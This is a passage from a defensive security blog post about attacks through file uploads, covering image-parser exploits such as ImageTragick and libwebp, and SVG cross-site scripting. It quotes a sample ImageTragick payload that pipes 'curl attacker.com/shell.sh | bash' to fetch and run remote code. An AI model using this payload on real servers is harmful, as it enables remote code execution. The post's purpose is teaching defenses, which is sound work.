How to Not Get Hacked Through File Uploads

How to Not Get Hacked Through File Uploads × Become a better software engineer with 404skill — start for free --> Home About Security for Builders Archives Previous post Next post Back to top Share post Subscribe 1. Parser Exploits 2. Content That Browsers Execute 3. Filenames and Path Traversal 4. Resource Exhaustion and Cost Amplification 5. Validate Before Anything Else You add a profile picture upload to your app. The code is straightforward: accept the file, check the extension, resize it, store it, serve it. What makes file uploads dangerous is that every step in that pipeline is an independent attack surface, and most of them are not in your code. When you accept a form field, the risk is in how your code handles a string. When you accept a file, the risk extends to every system that touches it: your image library, your file system, your CDN, the browser that eventually renders it to another user. A file that is safe for one of those consumers can be exploitable by another. The rest of this post walks through the four main ways upload features get abused, with defenses for each. If you’re shipping a real product, these are the vulnerabilities that actually get exploited in production. I’m writing a short series breaking down each pattern: how systems fail, and how to defend against it. No theory, just practical stuff. → Subscribe to get the next post Parser Exploits Your image processing library reads the uploaded file’s header to determine the format, allocates memory based on declared dimensions, and decodes the compressed pixel data. A crafted file can exploit any of these steps. The ImageTragick vulnerability ( CVE-2016-3714 ) is a good example. ImageMagick’s delegate system passed certain file formats to external programs via shell commands. A file like this, saved with an image extension and uploaded as a profile picture, would execute the embedded command during resize: 1 2 3 4 push graphic-context viewbox 0 0 640 480 fill 'url(https://example.com/image.jpg"|curl attacker.com/shell.sh | bash")' pop graphic-context The server processes what it thinks is an image, and runs attacker-controlled shell commands. The upload handler’s code is correct; the vulnerability is in the library it calls. Similar parser bugs appear regularly in ImageMagick, libpng, libjpeg, libwebp, and ffmpeg. In 2023, a heap buffer overflow in libwebp’s Huffman decoding logic ( CVE-2023-4863 ) was exploited in the wild before patches were available, affecting every application that processed WebP images. The defense is to run file processing in a restricted environment: a container with limited permissions, a serverless function with a timeout and memory cap, or a subprocess with resource constraints. Set explicit timeouts so a single adversarial file cannot occupy a processing worker indefinitely. For ImageMagick specifically, the policy.xml configuration restricts which formats, codecs, and resource limits are enforced, substantially reducing the attack surface ( ImageMagick security policy documentation ). Keeping image processing dependencies updated matters more for upload handlers than for almost any other part of your application, because the vulnerability is in the library, not in your code. Content That Browsers Execute File uploads can deliver stored cross-site scripting that bypasses the usual XSS defenses entirely. If your application accepts SVG files and serves them from the same origin as your main application, any JavaScript embedded in the SVG executes in the user’s browser with full access to their session. The SVG specification explicitly supports